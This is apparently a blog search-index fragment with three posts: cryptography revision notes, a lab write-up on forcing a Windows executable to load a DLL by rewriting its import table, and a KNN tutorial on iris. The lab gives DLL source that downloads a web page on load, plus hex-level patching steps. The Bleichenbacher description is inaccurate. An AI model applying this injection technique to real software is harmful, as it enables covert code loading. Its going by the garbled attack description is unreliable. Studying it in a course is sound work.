。他使用起先与Alice约好的格式将 $m$ 转换为一个小于 $N$ 的非负整数 $n$ ,比如他可以将每一个字转换为这个字的Unicode码,然后将这些数字连在一起组成一个数字。 叚如他的信息非常长的话,他可以将这个信息分为几段,然后将每一段转换为 $n$ 。用下面这个公式他可以将 $n$ 加密为 $c$ : $$ c=n^e \\bmod N $$ 计算 $c$ 并不复杂。Bob算出 $c$ 后就可以将它传递给Alice。 解密消息 Alice得到Bob的消息 $c$ 后就可以利用她的密钥 $d$ 来解码。她可以用以下这个公式来将 $c$ 转换为 $n$ : $$ n=c^d \\bmod N $$ 得到 $n$ 后,她可以将原来的信息 $m$ 重新复原。 解码的原理是 $$ c^d \\equiv n^{e \\cdot d}(\\bmod N) $$ 已知 $e d \\equiv 1(\\bmod r)$ ,即 $e d=1+h \\varphi(N)$ 。那么有 $$ n^{e d}=n^{1+h \\varphi(N)}=n \\cdot n^{h \\varphi(N)}=n\\left(n^{\\varphi(N)}\\right)^h $$ 若 $n$ 与 $N$ 互素,则由欧拉定理得: $$ n^{e d} \\equiv n\\left(n^{\\varphi(N)}\\right)^h \\equiv n(1)^h \\equiv n \\quad(\\bmod N) $$ 若 $n$ 与 $N$ 不互素,则不失一般性考虑 $n=p h$ ,以及 $e d-1=k(q-1)$ ,得: $$ \\begin{aligned} \u0026amp; n^{e d}=(p h)^{e d} \\equiv 0 \\equiv p h \\equiv n \\quad(\\bmod p) \\ \u0026amp; n^{e d}=n^{e d-1} n=n^{k(q-1)} n=\\left(n^{q-1}\\right)^k n \\equiv 1^k n \\equiv n \\quad(\\bmod q) \\end{aligned} $$ 故 $n^{e d} \\equiv n \\quad(\\bmod N)$ 得证。\nBleichenbacher 攻击过程如下:\n攻击者选择一个明文 M,并将其用 PKCS#1 v1.5 方式进行填充,得到一个长度为 k 的消息 m。攻击者将该消息使用 RSA 加密算法进行加密,得到密文 c。 攻击者通过 padding oracle 来判断密文是否符合 padding 方式。padding oracle 可以是一个网络服务器或者其他的加密解密设备,能够根据密文是否符合 padding 方式返回不同的信息,例如返回错误码或者异常。 攻击者使用二分法来逐位猜测密文中的每一个字节。具体来说,攻击者将密文 c 解密得到明文 m\u0026rsquo;,并检查其是否符合 PKCS#1 v1.5 的填充规则。如果符合,说明攻击者已经猜测到了正确的字节,否则说明攻击者猜错了。 攻击者利用 padding oracle 来判断 m\u0026rsquo; 是否符合 PKCS#1 v1.5 的填充规则。如果符合,说明攻击者已经还原出了正确的明文 M,否则说明攻击者猜错了。 重复步骤 3 和步骤 4,直到攻击者还原出了明文 M。 Padding: RSA加密时,要对明文m填充到与模数 $n$ 一样长,才能加密 Ciphertext manipulation: RSA 在乘法上是同态的,即 $\\operatorname{Enc}\\left(P_1 * P_2\\right)=\\operatorname{Enc}\\left(P_1\\right) * \\operatorname{Enc}\\left(P_2\\right)$ ,通常的实现都没有对RSA的 密文做完整性校验 (MAC),使得攻击者可以通过修改密文来操纵解 密后的明文 Information leakage: 攻击者可以通过一些侧信道信息来获知解密 后的明文是否符合特定的填充格式 Elgamal 密钥生成 [编辑] 密钥生成步骤如下:\nAlice利用生成元 $g$ 产生一个 $q$ 阶循环群 $G$ 的有效描述。该循环群需要满足一定的安全性质。\nAlice从 ${1, \\ldots, q-1}$ 中随机选择一个 $x$ 。\nAlice计算 $h:=g^x$ 。\nAlice公开 $h$ 以及 $G, q, g$ 的描述作为其公钥,并保留 $x$ 作为其私钥。私钥必须保密。\n加密\n使用Alice的公钥 $(G, q, g, h)$ 向她加密一条消息 $m$ 的加密算法工作方式如下:\nBob从 ${1, \\ldots, q-1}$ 随机选择一个 $y$ ,然后计算 $c_1:=g^y$ 。\nBobi十算共享秘密 $s:=h^y$ 。\nBob把他要发送的秘密消息 $m$ 映射为 $G$ 上的一个元素 $m^{\\prime}$ 。\nBobi计算 $c_2:=m^{\\prime} \\cdot s$ 。\nBob将密文 $\\left(c_1, c_2\\right)=\\left(g^y, m^{\\prime} \\cdot h^y\\right)=\\left(g^y, m^{\\prime} \\cdot\\left(g^x\\right)^y\\right)$ 发送给Alice。 值得注意的是,如果一个人知道了 $m^{\\prime}$ ,那么它很容易就能知道 $h^y$ 的值。因此对每一条信息都产生一个新的 $y$ 可以提高安全性。所以 $y$ 也被称作临时密钥。 解密 利用私钥 $x$ 对密文 $\\left(c_1, c_2\\right)$ 进行解密的算法工作方式如下:\nAlice计算共享秘密 $s:=c_1^x$\n然后计算 $m^{\\prime}:=c_2 \\cdot s^{-1}$ ,并将其映射回明文 $m$ ,其中 $s^{-1}$ 是 $s$ 在群 $G$ 上的逆元。(例如:如果 $G$ 是整数模n乘去群的一个子群,那么逆元就是模逆元) 。 解密算法是能够正确解密出明文的,因为\n$$ c_2 \\cdot s^{-1}=m^{\\prime} \\cdot h^y \\cdot\\left(g^{x y}\\right)^{-1}=m^{\\prime} \\cdot g^{x y} \\cdot g^{-x y}=m^{\\prime} . $$\nDF Diffie-Hellman密钥交换算法 Diffie-Hellman密钥交换算法的目的是使两个用户能安全交换密钥,以便在后续的通信中用该密钥对消息加密。所以这个算法本身只限于密钥交换。\nDiffie-Hellman密钥交换算法的有效性建立在离散对数上,在计算离散对数是困难的才能确保秘密交换。\nDiffie-Hellman密钥交换算法如图所示\n有素数 $q$ 和本原根 $\\alpha$ ,为公开的整数,Alice选择随机整数 $X_A ,$ Bob选择 $X_B$ ,分别计算,其中 $X_A$ 和 $X_B$ 保密,对算出的 $Y_A$ 和 $Y_B$ 公开。Alice和Bob通过计算 $K$ ,将 $K$ 作为共享的密钥。这样Alice和Bob就 完成了密钥的交换。 $X_A$ 和 $X_B$ 是私有的,攻击者只能通过 $q, \\alpha, Y_A$ 和 $Y_B$ 来攻击,所以只能求离散对数 来确定密钥。 如果攻击者要对Bob进行攻击,攻击者就要求离散对数算出 $X_B=d \\log _{\\alpha, q}\\left(Y_B\\right)$ ,然后算出密钥 $K$ 。 Diffie-Hellman密钥交换算法的安全性建立在下列事实上:\n计算素数模的幂运算相对容易,计算离散对数却非常困难\n对大素数,求离散对数被认为是困难的\n基于这样的事实,保证了Diffie-Hellman密钥交换算法的保密性。\n中间人攻击 上图的协议,不能抵御中间人攻击,中间人攻击的过程如下图所示\n通过上述协议,Bob和Alice以为各自共享了密钥,实际上他们都是与Darth共享密钥,所以如果Alice和Bob通过共享密钥加密传输,将会泄露各自的明文\n密钥交换不能抵御上述攻击,是因为没有对通信的参与方进行认证。\n扩展域GF(2^m) 加法 假设A(x)、B(x)∈GF(2^m),计算两个元素之和的方法就是: $$ C(x)=A(x)+B(x)=\\sum_{i=0}^{m-1} C_i x^i \\quad c_i \\equiv\\left(a_i+b_i\\right) \\bmod 2 $$ 而两个元素之差的计算公式就是: $$ C(x)=A(x)-B(x)=\\sum_{i=0}^{m-1} c_i x^i \\quad c_i \\equiv\\left(a_i-b_i\\right) \\bmod 2 \\equiv\\left(a_i+b_i\\right) \\bmod 2 $$\n乘法 不可约多项式 参考文献 1.ECB模式解读_chengqiuming的博客-CSDN博客_ecb模式\n2.密码算法 之三:分组密码工作模式 (ECB \\ CBC \\ CFB \\ OFB \\ CTR \\ XTS)浅析_cbc工作模式_KXue0703的博客-CSDN博客\n3.密码学小知识(5):唯密文攻击(COA)、已知明文攻击(KPA)、选择明文攻击(CPA),选择密文攻击(CCA)_crypto_cxf的博客-CSDN博客\n4.Feistel网络结构与DES加密算法的框架简单分析_Apollon_krj的博客-CSDN博客\n5.Python——加密算法DES_python des_羽丶千落的博客-CSDN博客\n","permalink":"https://niceasiv.cn/posts/cryptonote/","summary":"基于斯坦福大学 密码学一\n密码分析的四个手段 唯密文攻击(Ciphtext Only Attack,COA) 定义:唯密文攻击(COA)是指仅仅知道密文的情况下进行分析,求解明文或密钥的密码分析方法。\n假定密码分析者拥有密码算法及明文统计特性,并截获了一个或者多个用同一密钥加密的密文,通过对这些密文进行分析求出明文或密钥。COA已知条件最少,经不起唯密文攻击的密码是被认为不安全的。\n简单理解:只知道密文,推出明文或密钥,一般用穷举攻击。\n已知明文攻击(Known Plaintext Attack,KPA)(也可称为KPA安全) 定义:已知明文攻击(KPA)是指攻击者掌握了部分的明文M和对应的密文C,从而求解或破解出对应的密钥和加密算法。\n简单理解:知道部分的明文和密文对,推出密钥和加密算法。\n选择明文攻击(Chosen Plaintext Attack,CPA)(也可称为CPA安全) 定义:选择明文攻击(CPA)是指攻击者除了知道加密算法外,还可以选定明文消息,从而得到加密后的密文,即知道选择的明文和加密的密文,但是不能直接攻破密钥。\n简单理解:知道明文就知道密文,目标为推出密钥。\n选择密文攻击(Chosen Ciphertext Attack,CCA)(也可称为CCA安全) 定义:选择密文攻击(CCA)是指攻击者可以选择密文进行解密,除了知道已知明文攻击的基础上,攻击者可以任意制造或选择一些密文,并得到解密的明文,是一种比已知明文攻击更强的攻击方式。\n若一个密码系统能抵抗选择密文攻击,那必然能够抵抗COA和KPA攻击。密码分析者的目标是推出密钥,CCA主要应用于分析公钥密钥体制。\n简单理解:知道密文就知道明文,目标为推出密钥。 当密码系统只有承受住选择明文攻击(CPA)和选择密文攻击(CCA),才能算是安全的。 其中,四种攻击方式对应的攻击强度为:\n攻击难度:选择密文攻击(CCA)>选择明文攻击(CPA)>已知明文攻击(KPA)>唯密文攻击(COA) 难易程度:选择密文攻击(CCA)<选择明文攻击(CPA)<已知明文攻击(KPA)<唯密文攻击(COA)\n离散概率 异或性质 (1)交换律:$ A \\oplus B = B \\oplus A$\n(2)结合律: $( A \\oplus B ) \\oplus C = A \\oplus ( B \\oplus C )$\n(3)自反性:$ A \\oplus B \\oplus B = A $(由结合律可推:$ A \\oplus B \\oplus B = A \\oplus ( B \\oplus B ) = A \\oplus 0 = A)$\nBirthday Paradox 每个人生日都不相同的概率: $$ \\bar{p}(n)=1 \\cdot\\left(1-\\frac{1}{365}\\right) \\cdot\\left(1-\\frac{2}{365}\\right) \\cdots\\left(1-\\frac{n-1}{365}\\right)=\\frac{365}{365} \\cdot \\frac{364}{365} \\cdot \\frac{363}{365} \\cdot \\frac{362}{365} \\cdots \\frac{365-n+1}{365} $$ 阶乘形式为 $\\frac{365 !}{365^n(365-n) !}$ 至少两人生日相同的概率就是这个结果的补 $$ p(n)=1-\\bar{p}(n)=1-\\frac{365 !}{365^n(365-n) !} $$\nsecure cipher perfect secrecy\nFor every probability distribution over $M$ and $K$, every plain-text $m_0, m_1 \\in M$ and every cipher text $c \\in C$, the following holds: $$ \\operatorname{Pr}\\left[C=c \\mid M=m_0\\right]=\\operatorname{Pr}\\left[C=c \\mid M=m_1\\right] $$ 此定义可被解释为,密文空间的概率分布独立于明文空间的概率分布","title":"现代密码学期末复习"},{"content":" 参考课件 chap06.pdf 中“通过修改PE装载DLL”一节的内容,以及课本第 5.5节的 内容,实现对notepad.exe(修復並下載Notepad.exe)的修改,使得修改后的 notepad.exe 在双击运行时,能够自动隐式装载 MyDll3.dll,并进而 将一个网页下载到本地index.html 文件。\n本上机作业的目的是让大家深入理解 PE 文件中的导入表、导入地址表等关键结构及相关的功能。\n本实验所使用的notepad.exe 是 Windows 7系统(最好32位版)中的可执行程序,MyDll3.dll 也仅保证在 Windows 7下能正常工作,因此,建议在 Windows 7环境(可预先安装虚拟机)下进行修改。请在虚拟机中禁用所有杀毒软件,确保修改过程不会受到杀毒软件的干扰。保证虚拟机能联网,以便DLL装载后的网页下载动作能正常完成。 下载notepad.exe可能与课本中所描述的notepad.exe版本不一致,应主要参考课件中的修改流程。 使用PEview分析PE文件,使用HxD编辑器修改PE文件。 直接使用本书所附代码编译生成 MyDll3.dll。 PE文件静态注入 这里因为notepad一直注入不成功,换了个win7版本也不行,好像是安全策略的原因,就只好找另外一个textview.exe进行注入\n代码是李承远老师的逆向工程核心原理当中的\n// dllmain.cpp : 定义 DLL 应用程序的入口点。 #include \u0026#34;pch.h\u0026#34; #include \u0026#34;stdio.h\u0026#34; #include \u0026#34;windows.h\u0026#34; #include \u0026#34;shlobj.h\u0026#34; #include \u0026#34;Wininet.h\u0026#34; #include \u0026#34;tchar.h\u0026#34; #pragma comment(lib, \u0026#34;Wininet.lib\u0026#34;) #define DEF_BUF_SIZE (4096) #define DEF_URL L\u0026#34;http://www.baidu.com/index.html\u0026#34; #define DEF_INDEX_FILE L\u0026#34;index.html\u0026#34; HWND g_hWnd = NULL; #ifdef __cplusplus extern \u0026#34;C\u0026#34; { #endif // 导出函数,但是没有任何功能,仅仅保持dll文件的形式上完整。 __declspec(dllexport) void dummy() { return; } #ifdef __cplusplus } #endif //DownloadURL 下载 szURL 中指定网站的文件,并将其保存在 szFile 目录。 BOOL DownloadURL(LPCTSTR szURL, LPCTSTR szFile) { BOOL bRet = FALSE; HINTERNET hInternet = NULL, hURL = NULL; BYTE pBuf[DEF_BUF_SIZE] = { 0, }; DWORD dwBytesRead = 0; FILE* pFile = NULL; errno_t err = 0; hInternet = InternetOpen(L\u0026#34;ReverseCore\u0026#34;, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if (NULL == hInternet) { OutputDebugString(L\u0026#34;InternetOpen() failed!\u0026#34;); return FALSE; } hURL = InternetOpenUrl(hInternet, szURL, NULL, 0, INTERNET_FLAG_RELOAD, 0); if (NULL == hURL) { OutputDebugString(L\u0026#34;InternetOpenUrl() failed!\u0026#34;); goto _DownloadURL_EXIT; } if (err = _tfopen_s(\u0026amp;pFile, szFile, L\u0026#34;wt\u0026#34;)) { OutputDebugString(L\u0026#34;fopen() failed!\u0026#34;); goto _DownloadURL_EXIT; } while (InternetReadFile(hURL, pBuf, DEF_BUF_SIZE, \u0026amp;dwBytesRead)) { if (!dwBytesRead) break; fwrite(pBuf, dwBytesRead, 1, pFile); } bRet = TRUE; _DownloadURL_EXIT: if (pFile) fclose(pFile); if (hURL) InternetCloseHandle(hURL); if (hInternet) InternetCloseHandle(hInternet); return bRet; } BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam) { DWORD dwPID = 0; GetWindowThreadProcessId(hWnd, \u0026amp;dwPID); if (dwPID == (DWORD)lParam) { g_hWnd = hWnd; return FALSE; } return TRUE; } HWND GetWindowHandleFromPID(DWORD dwPID) { EnumWindows(EnumWindowsProc, dwPID); return g_hWnd; } //DropFile 函数将下载的 index.html 文件 拖到 TextView_Path.exe进程并显示其内容。 BOOL DropFile(LPCTSTR wcsFile) { HWND hWnd = NULL; DWORD dwBufSize = 0; BYTE* pBuf = NULL; DROPFILES* pDrop = NULL; char szFile[MAX_PATH] = { 0, }; HANDLE hMem = 0; WideCharToMultiByte(CP_ACP, 0, wcsFile, -1, szFile, MAX_PATH, NULL, NULL); dwBufSize = sizeof(DROPFILES) + strlen(szFile) + 1; if (!(hMem = GlobalAlloc(GMEM_ZEROINIT, dwBufSize))) { OutputDebugString(L\u0026#34;GlobalAlloc() failed!!!\u0026#34;); return FALSE; } pBuf = (LPBYTE)GlobalLock(hMem); pDrop = (DROPFILES*)pBuf; pDrop-\u0026gt;pFiles = sizeof(DROPFILES); strcpy_s((char*)(pBuf + sizeof(DROPFILES)), strlen(szFile) + 1, szFile); GlobalUnlock(hMem); if (!(hWnd = GetWindowHandleFromPID(GetCurrentProcessId()))) { OutputDebugString(L\u0026#34;GetWndHandleFromPID() failed!!!\u0026#34;); return FALSE; } PostMessage(hWnd, WM_DROPFILES, (WPARAM)pBuf, NULL); return TRUE; } DWORD WINAPI ThreadProc(LPVOID lParam) { TCHAR szPath[MAX_PATH] = { 0, }; TCHAR* p = NULL; OutputDebugString(L\u0026#34;ThreadProc() start...\u0026#34;); GetModuleFileName(NULL, szPath, sizeof(szPath)); if (p = _tcsrchr(szPath, L\u0026#39;\\\\\u0026#39;)) { _tcscpy_s(p + 1, wcslen(DEF_INDEX_FILE) + 1, DEF_INDEX_FILE); OutputDebugString(L\u0026#34;DownloadURL()\u0026#34;); if (DownloadURL(DEF_URL, szPath)) { OutputDebugString(L\u0026#34;DropFlie()\u0026#34;); DropFile(szPath); } } OutputDebugString(L\u0026#34;ThreadProc() end...\u0026#34;); return 0; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: CloseHandle(CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL)); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } dummmy()函数实际是dll文件向外部提供服务的导出函数,但正如所见,它没有任何功能。既然如此,为何还要将其导出呢?这是为了保持形式上的完整性,mydll3.dll能够顺利添加到notepad_patch.exe文件的导入表。\n生成的myhack3.dll\n查看IDT是否有足够空间 我们从Image_Optional_Header的IMPORT Table得到结构体数组的RVA和Size\n通过查看image_section_header,发现RVA84CC处于rdata区域\n计算偏移\n0x6000-0x5200 = 0xE00\n文件偏移=即0x84CC -0xE00 = 0x76CC\ntypedef struct _IMAGE_IMPORT_DESCRIPTOR { union { DWORD Characteristics; // 0 for terminating null import descriptor DWORD OriginalFirstThunk; // RVA 指向INT (PIMAGE_THUNK_DATA) }; DWORD TimeDateStamp; DWORD ForwarderChain; // -1 if no forwarders DWORD Name; //dll 名称 DWORD FirstThunk; //指向引入函数真实地址单元处的RVA IAT } IMAGE_IMPORT_DESCRIPTOR; typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR; 也可以将PEview调成文件偏移视图查看,可以看到文件偏移确实是0x76CC\n然后我们使用010 editor打开可以发现64Bytes的空间,有五个IDT结构体,最后一个为NULL,在我们的IDT之后紧贴着其它数据,我们没有足够的空间来添加一个0x14字节的结构体进去\n移动IDT\n从节区头信息可以得到,其内存virtual Size与文件的大小Size of Raw Data是不一样的\n.rdata 节区在磁盘文件中的大小为 2E00,而文件执行后被加载到内存时,程序实际使用的数据大小(映射大小)仅为 2C56 ,剩余未被使用的区域大小为 1AA (2E00 - 2C56)足够放下(0x14 * 6 = 0x78)字节的数据\n可以先从0x8C80开始存放我们的IDT(转化为文件偏移为0x7E80)(新IDT: 0x7E80到(0x7E80+0x78))\nTextView.exe 文件中,导入表的 RVA 值为 84CC 。接下来,将导入表的 RVA 值更改为新 IDT 的 RVA 值 8C80,在 Size 原值64字节的基础上再加 14字节(IID 结构体的大小),修改为78字节\n修改后导入表位于 RVA: 8C80(RAW : 7E80)地址处\n先使用010 Editor完全复制原IDT(RAW:76CC~772F),然后覆盖到IDT的新位置(RAW:7E80)\n在7ED0处写入IID\n然后在新IDT尾部(RAW:7ED0)添加与mydll3对应的IID\n转到 7F00 地址处,输入相应值\n3.修改 IAT 节区的属性值\n向原属性(ChAracteristics)40000040 添加 IMAGE_SCN_MEM_WRITE(80000000)属性值\n也就是C0000040\n使用 PEView 工具打开修改后的 TextView.exe 文件,查看其 IDT,发现已经装载上了myhack3.dll\n点开,我们发现它成功下载了百度某个cdn下的index.html,并展示在文字框中\n参考文献 [[原创]通过修改PE加载DLL]https://bbs.pediy.com/thread-267045-1.htm\n[通过修改PE文件的方式导入DLL]https://blog.csdn.net/fanxiaoyao1/article/details/125379489\n李承远 逆向工程核心原理\n","permalink":"https://niceasiv.cn/posts/pe_dll/","summary":"参考课件 chap06.pdf 中“通过修改PE装载DLL”一节的内容,以及课本第 5.5节的 内容,实现对notepad.exe(修復並下載Notepad.exe)的修改,使得修改后的 notepad.exe 在双击运行时,能够自动隐式装载 MyDll3.dll,并进而 将一个网页下载到本地index.html 文件。\n本上机作业的目的是让大家深入理解 PE 文件中的导入表、导入地址表等关键结构及相关的功能。\n本实验所使用的notepad.exe 是 Windows 7系统(最好32位版)中的可执行程序,MyDll3.dll 也仅保证在 Windows 7下能正常工作,因此,建议在 Windows 7环境(可预先安装虚拟机)下进行修改。请在虚拟机中禁用所有杀毒软件,确保修改过程不会受到杀毒软件的干扰。保证虚拟机能联网,以便DLL装载后的网页下载动作能正常完成。 下载notepad.exe可能与课本中所描述的notepad.exe版本不一致,应主要参考课件中的修改流程。 使用PEview分析PE文件,使用HxD编辑器修改PE文件。 直接使用本书所附代码编译生成 MyDll3.dll。 PE文件静态注入 这里因为notepad一直注入不成功,换了个win7版本也不行,好像是安全策略的原因,就只好找另外一个textview.exe进行注入\n代码是李承远老师的逆向工程核心原理当中的\n// dllmain.cpp : 定义 DLL 应用程序的入口点。 #include \u0026#34;pch.h\u0026#34; #include \u0026#34;stdio.h\u0026#34; #include \u0026#34;windows.h\u0026#34; #include \u0026#34;shlobj.h\u0026#34; #include \u0026#34;Wininet.h\u0026#34; #include \u0026#34;tchar.h\u0026#34; #pragma comment(lib, \u0026#34;Wininet.lib\u0026#34;) #define DEF_BUF_SIZE (4096) #define DEF_URL L\u0026#34;http://www.baidu.com/index.html\u0026#34; #define DEF_INDEX_FILE L\u0026#34;index.html\u0026#34; HWND g_hWnd = NULL; #ifdef __cplusplus extern \u0026#34;C\u0026#34; { #endif // 导出函数,但是没有任何功能,仅仅保持dll文件的形式上完整。 __declspec(dllexport) void dummy() { return; } #ifdef __cplusplus } #endif //DownloadURL 下载 szURL 中指定网站的文件,并将其保存在 szFile 目录。 BOOL DownloadURL(LPCTSTR szURL, LPCTSTR szFile) { BOOL bRet = FALSE; HINTERNET hInternet = NULL, hURL = NULL; BYTE pBuf[DEF_BUF_SIZE] = { 0, }; DWORD dwBytesRead = 0; FILE* pFile = NULL; errno_t err = 0; hInternet = InternetOpen(L\u0026#34;ReverseCore\u0026#34;, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if (NULL == hInternet) { OutputDebugString(L\u0026#34;InternetOpen() failed!\u0026#34;); return FALSE; } hURL = InternetOpenUrl(hInternet, szURL, NULL, 0, INTERNET_FLAG_RELOAD, 0); if (NULL == hURL) { OutputDebugString(L\u0026#34;InternetOpenUrl() failed!","title":"通过修改 PE 装载 DLL 实验"},{"content":" Python集成开发环境(IDE)\n(1) Anaconda: https://www.continuum.io/ (推荐)\n(2) IDLE: Python解释器默认工具\n(3) PyCharm: https://www.jetbrains.com/pycharm/\n(4) 实验数据集:Python的scikit-learn库中自带的鸢尾花数据集,可使用datasets.load_iris()载入。\n需要描述清楚算法流程,包括加载数据、数据处理、创建模型,训练,预测,评估模型等。如果必须给出实现代码才能更好地说明问题时,也必须先有相关的文字叙述,然后才是代码,代码只是作为例证\n鸢尾花数据集共收集了三类鸢尾花,即Setosa鸢尾花、Versicolour鸢尾花和Virginica鸢尾花,每一类鸢尾花收集了50条样本记录,共计150条。\n数据集包括4个属性,分别为花萼的长、花萼的宽、花瓣的长和花瓣的宽。对花瓣我们可能比较熟悉,花萼是什么呢?花萼是花冠外面的绿色被叶,在花尚未开放时,保护着花蕾。四个属性的单位都是cm,属于数值变量,四个属性均不存在缺失值的情况,以下是各属性的一些统计值如下:\n属性 最大值 最小值 均值 方差 萼长 7.9 4.3 5.84 0.83 萼宽 4.4 2.0 3.05 0.43 瓣长 6.9 1.0 3.76 1.76 瓣宽 2.5 0.1 1.20 0.76 KNN算法 算法原理 存在一个样本数据集合,也称为训练样本集,并且样本集中每个数据都存在标签,即我们知道样本集中每一数据与所属分类对应的关系。输入没有标签的数据后,将新数据中的每个特征与样本集中数据对应的特征进行比较,提取出样本集中特征最相似数据(最近邻)的分类标签。一般来说,我们只选择样本数据集中前k个最相似的数据,这就是k近邻算法中k的出处,通常k是不大于20的整数。最后选择k个最相似数据中出现次数最多的分类作为新数据的分类。\n基本概念 计算距离 常用到的距离计算公式如下:\n欧几里得距离(欧氏距离):\n$d=\\sqrt{(x_{1}-x_{2})^{2}+(y_{1}-y_{2})^{2}}$\n曼哈顿距离\n闵可夫斯基距离\n切比雪夫距离\n马氏距离\n余弦相似度\n皮尔逊相关系数\n汉明距离\n寻找最近邻数据\n将所有距离进行升序排序,确定K值,最近的K个邻居即距离最短的K个数据。 关于K值得选择问题:\nK 值的选择会对算法的结果产生重大影响。 K值较小意味着只有与测试数据较近的训练实例才会对预测结果起作用,容易发生过拟合。 如果 K 值较大,优点是可以减少学习的估计误差,但缺点是学习的近似误差增大,这时与测试数据较远的训练实例也会对预测起作用,使预测发生错误。 在实际应用中,K 值一般选择一个较小的数值,通常采用交叉验证的方法来选择最优的 K 值。随着训练实例数目趋向于无穷和 K=1 时,误差率不会超过贝叶斯误差率的2倍,如果K也趋向于无穷,则误差率趋向于贝叶斯误差率。(贝叶斯误差可以理解为最小误差) 三种交叉验证方法:\nHold-Out: 随机从最初的样本中选出部分,形成交叉验证数据,而剩余的就当做训练数据。 一般来说,少于原本样本三分之一的数据被选做验证数据。常识来说,Holdout 验证并非一种交叉验证,因为数据并没有交叉使用。 K-foldcross-validation:K折交叉验证,初始采样分割成K个子样本,一个单独的子样本被保留作为验证模型的数据,其他K-1个样本用来训练。交叉验证重复K次,每个子样本验证一次,平均K次的结果或者使用其它结合方式,最终得到一个单一估测。这个方法的优势在于,同时重复运用随机产生的子样本进行训练和验证,每次的结果验证一次,10折交叉验证是最常用的。 Leave-One-Out Cross Validation:正如名称所建议, 留一验证(LOOCV)意指只使用原本样本中的一项来当做验证资料, 而剩余的则留下来当做训练资料。 这个步骤一直持续到每个样本都被当做一次验证资料。 事实上,这等同于 K-fold 交叉验证是一样的,其中K为原本样本个数。 决策分类\n明确K个邻居中所有数据类别的个数,将测试数据划分给个数最多的那一类。即由输入实例的 K 个最临近的训练实例中的多数类决定输入实例的类别。 最常用的两种决策规则:\n多数表决法:多数表决法和我们日常生活中的投票表决是一样的,少数服从多数,是最常用的一种方法。 加权表决法:有些情况下会使用到加权表决法,比如投票的时候裁判投票的权重更大,而一般人的权重较小。所以在数据之间有权重的情况下,一般采用加权表决法。 说明:KNN没有显示的训练过程,它是“懒惰学习”的代表,它在训练阶段只是把数据保存下来,训练时间开销为0,等收到测试样本后进行处理。\n\t1)计算待分类点与已知类别的点之间的距离\n\t2)按照距离递增次序排序\n\t3)选取与待分类点距离最小的K个点\n\t4)确定前K个点所在类别的出现次数\n\t5)返回前K个点出现次数最高的类别作为待分类点的预测分类\n代码实现 初始化数据集 初始化训练集和测试集。训练集一般为两类或者多种类别的数据;测试集一般为一个数据。\niris = load_iris() data = iris.data label = iris.target # 划分训练集和测试集 train_set, test_set, train_label, test_label = train_test_split(data, label, test_size=0.2) 数据处理 归一化处理\ntrain_set = (train_set - train_set.min(*axis*=0)) / (train_set.max(*axis*=0) - train_set.min(*axis*=0)) test_set = (test_set - test_set.min(*axis*=0)) / (test_set.max(*axis*=0) - test_set.min(*axis*=0)) 定义距离 def distance(v1, v2): return np.linalg.norm(v1 - v2)#计算两个向量的距离 欧式距离 欧几里得距离$d=\\sqrt{(x_{1}-x_{2})^{2}+(y_{1}-y_{2})^{2}}$\n创建模型和预测 首先,创建一个Knn实例。然后,在验证集上进行k-fold交叉验证。选择不同的k值,根据验证结果,选择最佳的k值。\ndef predict(train_set, train_label, test_set, k): # 计算测试集中每个样本与训练集中所有样本的距离 distances = [] for i in range(len(train_set)): distances.append(distance(test_set, train_set[i])) # 对距离进行排序 distances = np.array(distances) sort_index = distances.argsort() # 统计前k个样本的标签 class_count = {} for i in range(k): label = train_label[sort_index[i]] class_count[label] = class_count.get(label, 0) + 1 # 返回前k个样本中出现次数最多的标签 max_count = 0 for key, value in class_count.items(): if value \u0026gt; max_count: max_count = value max_index = key return max_index def knn(train_set, train_label, test_set, test_label, k): right_count = 0 for i in range(len(test_set)): predict_label = predict(train_set, train_label, test_set[i], k) if predict_label == test_label[i]: right_count += 1 return right_count / len(test_set) 寻找最佳的邻居数 def find_best_k(train_set, train_label, test_set, test_label): train_accuary = [] test_accuary = [] best_k = 0 #k取值从1到10 for k in range(1, 11): train_accuary.append(knn(train_set, train_label, train_set, train_label, k)) test_accuary.append(knn(train_set, train_label, test_set, test_label, k)) #绘制k值与准确率的关系 plt.plot(range(1, 11), train_accuary, color=\u0026#39;red\u0026#39;, label=\u0026#39;train\u0026#39;) plt.plot(range(1, 11), test_accuary, color=\u0026#39;blue\u0026#39;, label=\u0026#39;test\u0026#39;) plt.xlabel(\u0026#39;k\u0026#39;) plt.ylabel(\u0026#39;accuary\u0026#39;) plt.legend() plt.show() #找到最佳k值 best_k = test_accuary.index(max(test_accuary)) + 1 return best_k 通过可视化分析得知,在n_neighbors取到:4,8,效果还可以,但是推荐使用5,因为综合训练集和测试集,还是不错的\n图形化 def show(train_set, train_label, test_set, test_label, k): # 绘制训练集 plt.title(\u0026#39;train set\u0026#39;) plt.scatter(train_set[:, 0], train_set[:, 1], c=train_label) plt.show() # 绘制测试集 plt.title(\u0026#39;test set\u0026#39;) plt.scatter(test_set[:, 0], test_set[:, 1], c=test_label) plt.show() # 绘制预测结果 plt.title(\u0026#39;predict result\u0026#39;) predict_label = [] for i in range(len(test_set)): predict_label.append(predict(train_set, train_label, test_set[i], k)) plt.scatter(test_set[:, 0], test_set[:, 1], c=predict_label) plt.show() 评估KNN accuracy = knn(train_set, train_label, test_set, test_label, best_k) # 计算准确率 print(accuracy) from sklearn import datasets from sklearn.model_selection import train_test_split from sklearn.neighbors import KNeighborsClassifier from sklearn.metrics import accuracy_score # 载入数据 iris = datasets.load_iris() # 已经内置了鸢尾花数据集 x = iris.data # 输入4个特征 y = iris.target # 输出类别 # 随机划分数据集,默认25%测试集75%训练集 x_train, x_test, y_train, y_test = train_test_split(x, y) # 创建一个KNN分类器对象,并设置K=5, clf = KNeighborsClassifier(n_neighbors=5) # clf意为Classifier # 训练 clf.fit(x_train, y_train) # 用训练数据拟合分类器模型 # 测试 pre_test = clf.predict(x_test) # 得到测试集的预测结果 # 计算正确率 print(\u0026#39;正确率:%.3f\u0026#39; % accuracy_score(y_test, pre_test)) # 由于数据集是随机划分,每次得到正确率自然不同,可以设置random_state让随机一致 